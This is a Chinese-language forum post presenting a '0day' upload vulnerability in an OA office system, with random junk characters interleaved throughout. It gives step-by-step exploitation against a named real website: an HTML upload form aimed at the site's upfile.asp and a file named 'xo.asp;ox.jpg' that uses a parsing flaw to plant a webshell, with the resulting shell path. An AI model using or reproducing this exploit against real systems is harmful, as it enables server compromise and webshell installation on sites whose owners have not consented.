全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
( q* `3 y# [. X' M​
系统介绍：
6 }: z3 ^2 N, m2 f2 H- i* w! r
. g9 ^, i3 Z, ~* S# N全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

2 Z# R- C, j  S% n主要功能：
3 r4 I4 M3 i# L1 k/ a公司通告
工作计划
! E! z, E; W6 [: W通讯助理
客户资源
1 P3 m$ O- Y5 l% d* y6 B0 d我的公文
; E3 A  `- J. A" D0 Y. E公文传阅
6 W% B! q. s5 P  r/ c公共资源
资源预约
8 U: ]1 O0 e- c( y. c" U今日考勤
个人计划
7 n8 x8 u4 ^+ [8 @. e! X' W个人通讯录
: {9 h  f% _2 @8 W& N个人基本档案
7 Z9 |3 e& d2 K3 }, n7 }3 p/ a, [9 h未读邮件
! ?+ ]5 X, \% u) ^3 c: g, S7 z发邮件
收件夹
$ j' @: ^' K$ n/ G( o寄件夹
网络硬盘
$ _  D. M3 ?" M: o3 m% K2 r网络会议
网络调查
交流论坛

有兴趣测试的朋友可以下源码看看

源码下载：
7 p6 j% x' R/ b0 E" C8 L7 G7 {
# N7 m! T' r" mhttp://www.mycodes.net/30/4750.htm
9 N4 b# ]3 o% ?) C* w* a4 ~
( O- G, Z8 M  h" f漏洞介绍：
/ i1 d( D2 k! w0 @0 G8 a1 S0 u
! r5 T+ G* d2 _) m由upfile.asp上传文件漏洞引起
0 A! `0 b5 z6 W' F
测试方法：
; h0 }0 e* Z; J) f- B7 p  I' u2 e0 x6 b
使用名小子上传http://www.itlynn.com/upfile.asp即可

# R. U* [, c: X( R( }( `如果upfile.asp文件被删除不存在。

1 V3 J* H9 F7 @; d2 g  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

6 [4 P# G- @2 t如果存在那么将如下代码保存为upfile.html。

+ ]" k- P9 l* [+ C然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。


4 l6 p9 Z6 w( Y$ |
01 <table border='0' align="center" cellpadding="5">
' d1 Y+ o  g/ u7 I$ {$ {6 q
! Z7 B! K! E4 r' s) K$ Q% G* I02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
; R, U. `! J4 _9 f7 {4 u. ^
03 <tr>
3 j2 h2 f6 E! ^
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

2 v1 \' t6 X) C' S; [" j* c$ v06               自动更名

' s, c9 j2 D0 M07               <input type='radio' name='errnumber' value='1' checked>
6 P" \+ u8 f( F% O0 R( }: q+ a
08               报错方式
7 c+ t" |5 z* J" d* ~# [" V
09               <input type='radio' name='errnumber' value='2'>
% O4 l0 N2 d: R. o, L# h% l
10               直接覆盖</td>
7 B9 l  R6 x0 B
11           </tr>
" e3 ~' \0 D5 g) `4 P+ M
0 v* V( l/ A" r2 Q1 R$ M, [- Z12           <tr>

' A- e& h% s$ I  c" J* R/ y, \7 N13             <td>主题：</td>

# i! o. r& L3 p+ M1 Z14             <td><input type='text' name='filename' size='30'></td>
/ c1 r7 }8 @3 q; F
15           </tr>

! w; s' H* `* x2 @' j) s16           <tr>
: {% ]; v6 `* n2 G0 w% p+ \: G
17             <td>文件：</td>
/ D$ c# F1 C, |: a  k" t
18             <td><input type="file"name="fruit"size="30"></td>
" ]+ c( O: ?# ~. P/ V& j
19           </tr>
6 ~6 m5 Y( i5 G, j4 t
9 N) L% F6 d1 s20           <tr>
5 |( w9 r3 C' f1 r3 m# N& E
21             <td valign='top'>简介：</td>

; Q+ L/ P: Q) M1 y5 ]# g22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
/ C) e" A- V8 w; K4 @/ ?% u
23           </tr>
+ |2 m! g0 a6 ?2 T. Z' }
24   
) B7 A8 p% F6 g7 `, ^
% m9 v0 g" a) o6 [2 w4 C25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
) j1 K* Y* u! }% A9 l) T6 n
* V% Z9 f! t" B( E8 ?" x6 T26           </tr>

27         </form>

' @. @# o* p' O3 F1 B9 y' L然后打开上传一个文件名为xo.asp;ox.jpg的文件。
4 X( D5 E8 K7 c+ Y5 ~: M, ]
! G! d2 m4 G7 g! g

& o' V/ e) `) w  k1 H6 u7 f! [上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
: m5 {. P0 X* `
1 e' Q  X0 V4 N7 @! t" Z此漏洞需要配合解析漏洞利用。
9 Q- k+ z2 Z+ j' r& y! q1 g, J